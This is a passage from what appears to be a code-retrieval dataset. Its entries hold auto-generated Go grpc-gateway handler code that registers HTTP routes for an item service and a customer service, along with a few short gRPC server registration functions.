err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetContainerItems_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_MruVItemService_PullItem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/PullItem\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_PullItem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_PullItem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_MruVItemService_PutItem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/PutItem\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_PutItem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_PutItem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_SortItems_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/SortItems\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_SortItems_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_SortItems_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetNearestItems_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetNearestItems\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetNearestItems_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetNearestItems_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_UseItem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/UseItem\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_UseItem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_UseItem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetServiceStatus_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetServiceStatus\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetServiceStatus_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetServiceStatus_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetServiceVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetServiceVersion\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetServiceVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetServiceVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "5b4d263a70314e1e2a724e09afe589cb", "score": "0.60307235", "text": "func RegisterResourcesServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterResourcesServiceHandlerClient(ctx, mux, NewResourcesServiceClient(conn))\n}", "title": "" }, { "docid": "931a786859898f30e18c2cba75bb2b00", "score": "0.60182446", "text": "func RegisterHubServiceServer(s *grpc.Server, srv HubServiceServer) {\n\tsrc.RegisterHubServiceServer(s, srv)\n}", "title": "" }, { "docid": "24c3d27e90defac2bd5ae4937fdffc94", "score": "0.60110277", "text": "func RegService(server *grpc.Server) {\n\tuser.RegisterGreeterServer(server, &service.GreeterService{})\n\n\tuser.RegisterPropertyServer(server, &service.PropertyService{})\n}", "title": "" }, { "docid": "945d923de3248c7d55688ee9ee0520e6", "score": "0.5994721", "text": "func RegisterCustomerServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CustomerServiceServer) error {\n\tmux.Handle(\"POST\", pattern_CustomerService_AddAddressToCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/AddAddressToCustomer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_AddAddressToCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_AddAddressToCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"POST\", pattern_CustomerService_AddSocialMediaHandle_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/AddSocialMediaHandle\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_AddSocialMediaHandle_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_AddSocialMediaHandle_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"POST\", pattern_CustomerService_CreateCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/CreateCustomer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_CreateCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_CreateCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"POST\", pattern_CustomerService_CreateCreditLimitOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/CreateCreditLimitOrder\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_CreateCreditLimitOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_CreateCreditLimitOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"POST\", pattern_CustomerService_CreateUserCustomerLink_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/CreateUserCustomerLink\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_CreateUserCustomerLink_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_CreateUserCustomerLink_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_CustomerService_DeleteCustomerAddress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/DeleteCustomerAddress\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_DeleteCustomerAddress_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_DeleteCustomerAddress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_CustomerService_DeleteTaxResidence_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/DeleteTaxResidence\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_DeleteTaxResidence_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_DeleteTaxResidence_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCRMEvents_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCRMEvents\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCRMEvents_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCRMEvents_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCreditLimitOrderByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCreditLimitOrderByID\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCreditLimitOrderByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCreditLimitOrderByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCreditLimitOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCreditLimitOrder\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCreditLimitOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCreditLimitOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomerAddresses_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCustomerAddresses\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomerAddresses_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomerAddresses_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomerSocialMediaHandles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCustomerSocialMediaHandles\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomerSocialMediaHandles_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomerSocialMediaHandles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomerByCustomerID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCustomerByCustomerID\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomerByCustomerID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomerByCustomerID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomerByCustomerNumber_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCustomerByCustomerNumber\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomerByCustomerNumber_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomerByCustomerNumber_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomersForCurrentUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCustomersForCurrentUser\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomersForCurrentUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomersForCurrentUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomersForCurrentUserAtBank_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := 